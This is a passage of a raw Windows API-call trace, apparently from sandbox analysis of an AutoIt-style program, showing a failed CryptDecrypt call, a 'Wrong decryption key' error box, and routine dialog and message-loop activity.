wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.924] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0051.925] PeekMessageW (in: lpMsg=0xd72f04e660, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e660) returned 0 [0051.925] PeekMessageW (in: lpMsg=0xd72f04e660, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e660) returned 0 [0051.925] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.925] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.925] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.925] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.925] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.926] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0051.926] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.926] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.926] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.927] PeekMessageW (in: lpMsg=0xd72f04e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e3f0) returned 0 [0051.927] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.927] CryptDecrypt (in: hKey=0xd72f355ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd72f3b32a0, pdwDataLen=0xd72f04e4a8 | out: pbData=0xd72f3b32a0, pdwDataLen=0xd72f04e4a8) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0051.928] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0051.928] PeekMessageW (in: lpMsg=0xd72f04e660, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e660) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04e660, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e660) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.928] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0051.928] PeekMessageW (in: lpMsg=0xd72f04e370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e370) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.928] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.929] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0051.929] PeekMessageW (in: lpMsg=0xd72f04eed0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eed0) returned 0 [0051.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.930] PeekMessageW (in: lpMsg=0xd72f04e630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e630) returned 0 [0051.930] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.930] CryptDestroyKey (hKey=0xd72f355ea0) returned 1 [0051.930] PeekMessageW (in: lpMsg=0xd72f04eed0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eed0) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04eed0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eed0) returned 0 [0051.930] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0051.930] PeekMessageW (in: lpMsg=0xd72f04ebb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ebb0) returned 0 [0051.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0051.930] PeekMessageW (in: lpMsg=0xd72f04e890, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e890) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04e890, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e890) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04ebb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ebb0) returned 0 [0051.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0051.930] PeekMessageW (in: lpMsg=0xd72f04e5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e5a0) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04ebb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ebb0) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04ebb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ebb0) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04eed0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eed0) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04eed0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eed0) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.930] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0051.930] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0051.930] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.930] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0051.931] PeekMessageW (in: lpMsg=0xd72f04ea50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ea50) returned 0 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.931] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.931] PeekMessageW (in: lpMsg=0xd72f04eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eae0) returned 0 [0051.931] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0051.931] PeekMessageW (in: lpMsg=0xd72f04eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eae0) returned 0 [0051.931] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.931] CryptReleaseContext (hProv=0xd72f3ad4c0, dwFlags=0x0) returned 1 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.931] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.931] PeekMessageW (in: lpMsg=0xd72f04eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eae0) returned 0 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.931] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.932] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.932] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.932] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.932] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0051.938] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.938] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x86, wParam=0x0, lParam=0x50206) returned 0x1 [0051.939] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.939] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.939] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x6, wParam=0x0, lParam=0x50206) returned 0x0 [0051.939] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.939] GetWindowLongW (hWnd=0xc018a, nIndex=-20) returned 256 [0051.939] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x84, wParam=0x0, lParam=0x1f70367) returned 0x1 [0051.939] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.939] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.939] GetClientRect (in: hWnd=0xc018a, lpRect=0xd72f04edf0 | out: lpRect=0xd72f04edf0) returned 1 [0051.939] GetCursorPos (in: lpPoint=0xd72f04ee10 | out: lpPoint=0xd72f04ee10*(x=871, y=503)) returned 1 [0051.939] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04ee10 | out: lpPoint=0xd72f04ee10) returned 1 [0051.940] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.940] SetCursor (hCursor=0x10003) returned 0x10007 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x200, wParam=0x0, lParam=0x1810226) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.940] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.940] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.940] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04e970) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.940] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.940] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04e970) returned 0x0 [0051.942] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.942] GetWindowLongW (hWnd=0xc018a, nIndex=-20) returned 256 [0051.942] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x84, wParam=0x0, lParam=0x1f70367) returned 0x1 [0051.942] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.942] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.942] GetClientRect (in: hWnd=0xc018a, lpRect=0xd72f04edf0 | out: lpRect=0xd72f04edf0) returned 1 [0051.942] GetCursorPos (in: lpPoint=0xd72f04ee10 | out: lpPoint=0xd72f04ee10*(x=871, y=503)) returned 1 [0051.942] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04ee10 | out: lpPoint=0xd72f04ee10) returned 1 [0051.942] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.942] SetCursor (hCursor=0x10003) returned 0x10003 [0051.942] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.942] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x200, wParam=0x0, lParam=0x1810226) returned 0x0 [0051.953] GetForegroundWindow () returned 0x50206 [0051.953] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0051.999] GetForegroundWindow () returned 0x50206 [0051.999] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0052.046] GetForegroundWindow () returned 0x50206 [0052.046] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0052.096] GetForegroundWindow () returned 0x50206 [0052.096] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0052.141] GetForegroundWindow () returned 0xf0202 [0052.141] GetWindowLongPtrW (hWnd=0xf0202, nIndex=-21) returned 0x0 [0052.188] GetForegroundWindow () returned 0x50206 [0052.188] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0052.231] GetForegroundWindow () returned 0x50206 [0052.231] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0052.281] GetForegroundWindow () returned 0x50206 [0052.281] GetWindowLongPtrW (hWnd=0x50206, nIndex=-21) returned 0xd72f04f510 [0052.297] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.297] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x46, wParam=0x0, lParam=0xd72f04f0d0) returned 0x0 [0052.297] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.297] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x47, wParam=0x0, lParam=0xd72f04f0d0) returned 0x0 [0052.297] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.297] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0052.297] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0052.297] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.297] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0052.298] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.298] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.299] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0052.302] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0052.302] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.302] GetWindowLongW (hWnd=0xc018a, nIndex=-20) returned 256 [0052.302] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x84, wParam=0x0, lParam=0x20102f9) returned 0x1 [0052.302] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.302] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.302] GetClientRect (in: hWnd=0xc018a, lpRect=0xd72f04f350 | out: lpRect=0xd72f04f350) returned 1 [0052.302] GetCursorPos (in: lpPoint=0xd72f04f370 | out: lpPoint=0xd72f04f370*(x=761, y=513)) returned 1 [0052.302] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f370 | out: lpPoint=0xd72f04f370) returned 1 [0052.302] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0052.302] SetCursor (hCursor=0x10003) returned 0x10003 [0052.302] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0052.302] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0052.302] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.302] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x200, wParam=0x0, lParam=0x18b01b8) returned 0x0 [0052.303] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0052.303] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0052.303] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetSysColor (nIndex=15) returned 0xf0f0f0 [0052.303] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetSysColor (nIndex=15) returned 0xf0f0f0 [0052.303] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0052.303] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.303] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0052.303] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0052.304] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0052.304] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0052.304] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0052.304] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0052.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0052.305] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xd72f386a50 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0052.305] 